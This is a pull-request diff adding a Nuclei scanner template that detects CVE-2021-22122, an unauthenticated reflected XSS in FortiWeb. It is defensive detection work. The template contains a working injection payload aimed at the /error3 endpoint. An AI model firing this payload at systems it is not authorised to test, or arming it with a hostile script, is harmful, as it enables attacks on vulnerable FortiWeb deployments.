Merge pull request #806 from dwisiswant0/add/CVE-2021-22122

Add CVE-2021-22122

cves/2021/CVE-2021-22122.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-22122
+
+info:
+  name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS
+  author: dwisiswant0
+  severity: medium
+
+  # FortiWeb GUI interface may allow an unauthenticated, remote attacker
+  # to perform a reflected cross site scripting attack (XSS) by injecting
+  # malicious payload in different vulnerable API end-points.
+  # -
+  # References:
+  # - https://www.fortiguard.com/psirt/FG-IR-20-122
+  # - https://twitter.com/ptswarm/status/1357316793753362433
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "nuclei"
+          - "No policy has been chosen."
+        condition: and
+        part: body